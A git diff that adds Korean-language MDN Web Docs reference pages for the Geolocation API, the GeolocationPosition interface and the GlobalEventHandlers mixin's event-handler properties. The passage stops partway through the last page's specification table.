diff --git a/files/ko/web/api/geolocation_api/index.html b/files/ko/web/api/geolocation_api/index.html
new file mode 100644
index 0000000000..e65181fdda
--- /dev/null
+++ b/files/ko/web/api/geolocation_api/index.html
@@ -0,0 +1,97 @@
+---
+title: Geolocation API
+slug: Web/API/Geolocation_API
+tags:
+  - Geolocation API
+  - Guide
+  - Intermediate
+  - Overview
+translation_of: Web/API/Geolocation_API
+---
+<div>{{securecontext_header}}{{DefaultAPISidebar("Geolocation API")}}</div>
+
+<p><strong>Geolocation API</strong>는 사용자가 원할 경우 웹 애플리케이션에 위치 정보를 제공할 수 있는 API입니다. 개인정보 보호를 위해, 브라우저는 위치 정보를 제공하기 전에 사용자에게 위치 정보 권한에 대한 확인을 받습니다.</p>
+
+<p><code>Geolocation</code> 객체를 사용하려는 WebExtension은 매니페스트에 <code>"geolocation"</code> 권한을 추가해야 합니다. 사용자의 운영 체제는 WebExtension이 처음으로 위치 정보를 요청하는 순간 사용자에게 정보 제공 여부를 물어봅니다.</p>
+
+<h2 id="개념과_사용법">개념과 사용법</h2>
+
+<p>사용자의 현재 위치를 지도에 표시하거나 위치 기반 개인화 정보를 제공하는 등, 웹 앱에서 위치 정보를 가져와야 하는 경우가 종종 있습니다.</p>
+
+<p>Geolocation API는 {{domxref("Navigator.geolocation", "navigator.geolocation")}}을 통해 접근합니다. 이 때, 사용자의 브라우저는 위치 정보 접근 권한을 요청하게 되고, 사용자가 허가할 경우 현재 장치에서 사용 가능한 최선의 방법(GPS, WiFi, ...)을 통해 위치를 알아냅니다.</p>
+
+<p>위의 과정이 끝난 후, 코드에서는 몇 가지 다른 방법으로 위치 정보를 가져올 수 있습니다.</p>
+
+<ul>
+ <li>{{domxref("Geolocation.getCurrentPosition()")}}: 장치의 현재 위치를 가져옵니다.</li>
+ <li>{{domxref("Geolocation.watchPosition()")}}: 장치의 위치가 바뀔 때마다, 자동으로 새로운 위치를 사용해 호출할 처리기 함수를 등록합니다.</li>
+</ul>
+
+<p>두 메서드 모두 최대 세 개의 매개변수를 받습니다.</p>
+
+<ul>
+ <li>필수로 지정하는 성공 콜백: 위치 정보를 성공적으로 가져온 경우, 위치 데이터를 담은 {{domxref("GeolocationPosition")}} 객체를 유일한 매개변수로 하여 콜백을 호출합니다.</li>
+ <li>선택적으로 지정하는 실패 콜백: 위치 정보를 가져오지 못한 경우, 실패 원인을 담은 {{domxref("GeolocationPositionError")}} 객체를 유일한 매개변수로 하여 콜백을 호출합니다.</li>
+ <li>선택적으로 지정하는 {{domxref("PositionOptions")}} 객체는 위치 정보 회수에 적용할 옵션을 제공합니다.</li>
+</ul>
+
+<p><code>Geolocation</code> 사용법에 대한 추가 정보는 <a href="/ko/docs/WebAPI/Using_geolocation">Geolocation API 사용하기</a> 문서를 참고하세요.</p>
+
+<h2 id="인터페이스">인터페이스</h2>
+
+<dl>
+ <dt>{{domxref("Geolocation")}}</dt>
+ <dd>Geolocation API의 주요 클래스로서 사용자의 현재 위치를 가져오고, 위치 변경을 감지하고, 이전에 등록했던 감지기를 제거하는 메서드를 담고 있습니다.</dd>
+ <dt>{{domxref("GeolocationPosition")}}</dt>
+ <dd>사용자의 위치를 나타냅니다. <code>GeolocationPosition</code> 인스턴스는 {{domxref("Geolocation")}} 객체 메서드의 성공 콜백에 제공되며, 타임스탬프와 함께 {{domxref("GeolocationCoordinates")}} 객체 인스턴스를 포함합니다.</dd>
+ <dt>{{domxref("GeolocationCoordinates")}}</dt>
+ <dd>사용자 위치의 좌표를 나타냅니다. <code>GeolocationCoordinates</code> 인스턴스는 위도, 경도 외에도 기타 중요한 관련 정보를 포함합니다.</dd>
+ <dt>{{domxref("GeolocationPositionError")}}</dt>
+ <dd><code>GeolocationPositionError</code>는 {{domxref("Geolocation")}} 객체 메서드의 오류 콜백에 제공되며, 오류 코드와 오류 메시지를 담고 있습니다.</dd>
+ <dt>{{domxref("Navigator.geolocation")}}</dt>
+ <dd>API로 접근할 수 있는 지점입니다. {{domxref("Geolocation")}} 객체 인스턴스를 반환합니다.</dd>
+</dl>
+
+<h2 id="연관_배열">연관 배열</h2>
+
+<dl>
+ <dt>{{domxref("PositionOptions")}}</dt>
+ <dd>{{domxref("Geolocation.getCurrentPosition()")}}과 {{domxref("Geolocation.watchPosition()")}}에 매개변수로 전달할 옵션을 나타내는 객체입니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>{{page("/en-US/docs/Web/API/Geolocation_API/Using_the_Geolocation_API","Examples")}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Geolocation")}}</td>
+   <td>{{Spec2("Geolocation")}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("api.Geolocation")}}</p>
+
+<h3 id="가용성">가용성</h3>
+
+<p>WiFi 기반의 위치 정보는 보통 Google이 제공하므로, 기본 Geolocation API는 중국에서 사용하지 못할 수도 있습니다. 대신 <a href="http://lbsyun.baidu.com/index.php?title=jspopular/guide/geolocation">Baidu</a>, <a href="https://lbs.amap.com/api/javascript-api/guide/services/geolocation#geolocation">Autonavi</a>, <a href="http://lbs.qq.com/tool/component-geolocation.html">Tencent</a> 등 지역 서드파티 제공자가 지원하는 라이브러리를 사용할 수 있습니다. 위 서비스는 WiFi 대신 IP 주소와 지역 앱을 사용해 위치 정보를 개선합니다.</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Geolocation_API/Using">Geolocation API 사용하기</a></li>
+ <li><a href="https://www.w3.org/TR/geolocation-API/" rel="external">w3.org의 Geolocation API</a></li>
+ <li><a href="https://hacks.mozilla.org/2013/10/who-moved-my-geolocation/">Who moved my geolocation?</a> (Hacks 블로그)</li>
+</ul>
diff --git a/files/ko/web/api/geolocationposition/index.html b/files/ko/web/api/geolocationposition/index.html
new file mode 100644
index 0000000000..c941b7f961
--- /dev/null
+++ b/files/ko/web/api/geolocationposition/index.html
@@ -0,0 +1,62 @@
+---
+title: GeolocationPosition
+slug: Web/API/GeolocationPosition
+tags:
+  - API
+  - Geolocation API
+  - GeolocationPosition
+  - Interface
+  - Reference
+  - Secure context
+translation_of: Web/API/GeolocationPosition
+---
+<div>{{securecontext_header}}{{APIRef("Geolocation API")}}</div>
+
+<p><span class="seoSummary"><strong><code>GeolocationPosition</code></strong> 인터페이스는 주어진 시간에 장치가 위치한 지점을 나타냅니다</span>. 지점은 {{domxref("Coordinates")}} 객체로 표현하여, 지구를 나타내는 회전타원체 위의 2D 위치와 더불어 높이와 속도 정보를 담습니다.</p>
+
+<h2 id="속성">속성</h2>
+
+<p><code>GeolocationPosition</code> 인터페이스는 어떤 속성도 상속하지 않습니다.</p>
+
+<dl>
+ <dt>{{domxref("Position.coords")}} {{readonlyInline}} {{securecontext_inline}}</dt>
+ <dd>주어진 시간의 위치를 나타내는 {{domxref("Coordinates")}} 객체입니다.</dd>
+ <dt>{{domxref("Position.timestamp")}} {{readonlyInline}} {{securecontext_inline}}</dt>
+ <dd>위치를 기록한 시간을 나타내는 {{domxref("DOMTimeStamp")}}입니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<p><code>GeolocationPosition</code> 인터페이스는 어떤 메서드도 상속하거나 구현하지 않습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation', '#position', 'Position')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.GeolocationPosition")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Geolocation_API">위치정보 사용하기</a></li>
+ <li>이 인터페이스를 사용하는 {{domxref("Geolocation")}} 인터페이스.</li>
+</ul>
diff --git a/files/ko/web/api/globaleventhandlers/index.html b/files/ko/web/api/globaleventhandlers/index.html
new file mode 100644
index 0000000000..46d38934b1
--- /dev/null
+++ b/files/ko/web/api/globaleventhandlers/index.html
@@ -0,0 +1,268 @@
+---
+title: GlobalEventHandlers
+slug: Web/API/GlobalEventHandlers
+tags:
+  - API
+  - DOM
+  - HTML DOM
+  - Mixin
+  - Reference
+translation_of: Web/API/GlobalEventHandlers
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<p><strong><code>GlobalEventHandlers</code></strong> 믹스인<sup>mixin</sup>은 {{domxref("HTMLElement")}}, {{domxref("Document")}}, {{domxref("Window")}} 등 여러 인터페이스가 공유하는 공통 이벤트 처리기를 묘사합니다. 물론, 각각의 인터페이스는 아래에 나열된 항목뿐만 아니라 더 많은 이벤트 처리기를 추가할 수 있습니다.</p>
+
+<div class="note">
+<p><strong>참고</strong>: <code>GlobalEventHandlers</code>는 인터페이스가 아닌 믹스인입니다. 따라서 <code>GlobalEventHandlers</code> 자료형을 가진 객체를 만들 수는 없습니다.</p>
+</div>
+
+<h2 id="속성">속성</h2>
+
+<p><em>이 인터페이스는 아래에 나열된 이벤트 처리기를 위한 속성만을 갖습니다.</em></p>
+
+<h3 id="이벤트_처리기">이벤트 처리기</h3>
+
+<p>다음 이벤트 처리기들은 {{domxref("GlobalEventHandlers")}} 믹스인이 정의하고, {{domxref("HTMLElement")}}, {{domxref("Document")}}, {{domxref("Window")}}와 웹 워커의 {{domxref("WorkerGlobalScope")}}가 구현합니다.</p>
+
+<div id="Properties">
+<dl>
+ <dt>{{domxref("GlobalEventHandlers.onabort")}}</dt>
+ <dd>{{event("abort")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onanimationcancel")}} {{Non-standard_inline}}</dt>
+ <dd>실행 중이던 <a href="/ko/docs/Web/CSS/CSS_Animations">CSS 애니메이션</a>이 취소됐음을 알리는 {{event("animationcancel")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onanimationend")}} {{Non-standard_inline}}</dt>
+ <dd>실행 중이던 <a href="/ko/docs/Web/CSS/CSS_Animations">CSS 애니메이션</a>이 끝났음을 알리는 {{event("animationend")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onanimationiteration")}} {{Non-standard_inline}}</dt>
+ <dd>실행 중인 <a href="/ko/docs/Web/CSS/CSS_Animations">CSS 애니메이션</a>의 다음 회차 재생이 시작됐음을 알리는 {{event("animationiteration")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onanimationstart")}} {{Non-standard_inline}}</dt>
+ <dd><a href="/ko/docs/Web/CSS/CSS_Animations">CSS 애니메이션</a>의 재생이 시작됐음을 알리는 {{event("animationstart")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onauxclick")}} {{Non-standard_inline}}</dt>
+ <dd>마우스 휠 클릭 등 비주요 버튼이 눌렸음을 알리는 {{event("auxclick")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onblur")}}</dt>
+ <dd>{{event("blur")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onerror")}}</dt>
+ <dd>{{event("error")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("OnErrorEventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onfocus")}}</dt>
+ <dd>{{event("focus")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.oncancel")}}</dt>
+ <dd>{{event("cancel")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.oncanplay")}}</dt>
+ <dd>{{event("canplay")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.oncanplaythrough")}}</dt>
+ <dd>{{event("canplaythrough")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onchange")}}</dt>
+ <dd>{{event("change")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onclick")}}</dt>
+ <dd>{{event("click")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onclose")}}</dt>
+ <dd>{{event("close")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.oncontextmenu")}}</dt>
+ <dd>{{event("contextmenu")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.oncuechange")}}</dt>
+ <dd>{{event("cuechange")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondblclick")}}</dt>
+ <dd>{{event("dblclick")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondrag")}}</dt>
+ <dd>{{event("drag")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondragend")}}</dt>
+ <dd>{{event("dragend")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondragenter")}}</dt>
+ <dd>{{event("dragenter")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondragexit")}}</dt>
+ <dd>{{event("dragexit")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondragleave")}}</dt>
+ <dd>{{event("dragleave")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondragover")}}</dt>
+ <dd>{{event("dragover")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondragstart")}}</dt>
+ <dd>{{event("dragstart")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondrop")}}</dt>
+ <dd>{{event("drop")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondurationchange")}}</dt>
+ <dd>{{event("durationchange")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onemptied")}}</dt>
+ <dd>{{event("emptied")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onended")}}</dt>
+ <dd>{{event("ended")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ongotpointercapture")}}</dt>
+ <dd>
+ <p>{{event("gotpointercapture")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</p>
+ </dd>
+ <dt>{{domxref("GlobalEventHandlers.oninput")}}</dt>
+ <dd>{{event("input")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.oninvalid")}}</dt>
+ <dd>{{event("invalid")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onkeydown")}}</dt>
+ <dd>{{event("keydown")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onkeypress")}}</dt>
+ <dd>{{event("keypress")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onkeyup")}}</dt>
+ <dd>{{event("keyup")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onload")}}</dt>
+ <dd>{{event("load")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onloadeddata")}}</dt>
+ <dd>{{event("loadeddata")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onloadedmetadata")}}</dt>
+ <dd>{{event("loadedmetadata")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onloadend")}}</dt>
+ <dd>자원의 불러오기가 멈췄음을 나타내는 {{event("loadend")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onloadstart")}}</dt>
+ <dd>자원을 불러오기 시작함을 나타내는 {{event("loadstart")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onlostpointercapture")}}</dt>
+ <dd>
+ <p>{{event("lostpointercapture")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</p>
+ </dd>
+ <dt>{{domxref("GlobalEventHandlers.onmousedown")}}</dt>
+ <dd>{{event("mousedown")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmouseenter")}}</dt>
+ <dd>{{event("mouseenter")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmouseleave")}}</dt>
+ <dd>{{event("mouseleave")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmousemove")}}</dt>
+ <dd>{{event("mousemove")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmouseout")}}</dt>
+ <dd>{{event("mouseout")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmouseover")}}</dt>
+ <dd>{{event("mouseover")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmouseup")}}</dt>
+ <dd>{{event("mouseup")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmousewheel")}} {{Non-standard_inline}} {{Deprecated_inline}}</dt>
+ <dd>{{event("mousewheel")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}. <code>onwheel</code>을 대신 사용하세요.</dd>
+ <dt>{{ domxref("GlobalEventHandlers.onwheel") }}</dt>
+ <dd>{{event("wheel")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpause")}}</dt>
+ <dd>{{event("pause")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onplay")}}</dt>
+ <dd>{{event("play")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onplaying")}}</dt>
+ <dd>{{event("playing")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerdown")}}</dt>
+ <dd>{{event("pointerdown")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointermove")}}</dt>
+ <dd>{{event("pointermove")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerup")}}</dt>
+ <dd>{{event("pointerup")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointercancel")}}</dt>
+ <dd>{{event("pointercancel")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerover")}}</dt>
+ <dd>{{event("pointerover")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerout")}}</dt>
+ <dd>{{event("pointerout")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerenter")}}</dt>
+ <dd>{{event("pointerenter")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerleave")}}</dt>
+ <dd>{{event("pointerleave")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerlockchange")}} {{experimental_inline}}</dt>
+ <dd>{{event("pointerlockchange")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerlockerror")}} {{experimental_inline}}</dt>
+ <dd>{{event("pointerlockerror")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onprogress")}}</dt>
+ <dd>{{event("progress")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onratechange")}}</dt>
+ <dd>{{event("ratechange")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onreset")}}</dt>
+ <dd>{{event("reset")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onresize")}}</dt>
+ <dd>{{event("resize")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onscroll")}}</dt>
+ <dd>{{event("scroll")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onseeked")}}</dt>
+ <dd>{{event("seeked")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onseeking")}}</dt>
+ <dd>{{event("seeking")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onselect")}}</dt>
+ <dd>{{event("select")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onselectstart")}}</dt>
+ <dd>사용자가 웹 페이지의 텍스트 등을 선택하기 시작함을 나타내는 {{event("selectionchange")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onselectionchange")}}</dt>
+ <dd>웹 페이지의 선택 영역(텍스트 등)이 바뀌었음을 나타내는 {{event("selectionchange")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onshow")}}</dt>
+ <dd>{{event("show")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onsort")}} {{experimental_inline}}</dt>
+ <dd>{{event("sort")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onstalled")}}</dt>
+ <dd>{{event("stalled")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onsubmit")}}</dt>
+ <dd>{{event("submit")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onsuspend")}}</dt>
+ <dd>{{event("suspend")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ontimeupdate")}}</dt>
+ <dd>{{event("timeupdate")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onvolumechange")}}</dt>
+ <dd>{{event("volumechange")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ontouchcancel")}} {{Non-standard_inline}} {{Experimental_inline}}</dt>
+ <dd>{{event("touchcancel")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ontouchend")}} {{Non-standard_inline}} {{Experimental_inline}}</dt>
+ <dd>{{event("touchend")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ontouchmove")}} {{Non-standard_inline}} {{Experimental_inline}}</dt>
+ <dd>{{event("touchmove")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ontouchstart")}} {{Non-standard_inline}} {{Experimental_inline}}</dt>
+ <dd>{{event("touchstart")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ontransitioncancel")}}</dt>
+ <dd><a href="/ko/docs/Web/CSS/CSS_Transitions">CSS 트랜지션</a>이 취소됐음을 알리는 {{event("transitioncancel")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ontransitionend")}}</dt>
+ <dd><a href="/ko/docs/Web/CSS/CSS_Transitions">CSS 트랜지션</a>이 끝났음을 알리는 {{event("transitionend")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onwaiting")}}</dt>
+ <dd>{{event("waiting")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.</dd>
+</dl>
+</div>
+
+<h2 id="메소드">메소드</h2>
+
+<p>이 인터페이스는 메서드를 정의하지 않습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Selection API",'', 'Extension to GlobalEventHandlers')}}</td>
+   <td>{{Spec2('Selection API')}}</td>
+   <td><code>onselectionchange</code> 추가.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Pointer Lock', '#extensions-to-the-document-interface', 'Extension of Document')}}</td>
+   <td>{{Spec2('Pointer Lock')}}</td>
+   <td>{{domxref("Document")}} 에 <code>onpointerlockchange</code> 와 <code>onpointerlockerror</code> 추가. <code>GlobalEventHandlers</code> 에 실험적으로 구현되었음.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#globaleventhandlers', 'GlobalEventHandlers')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
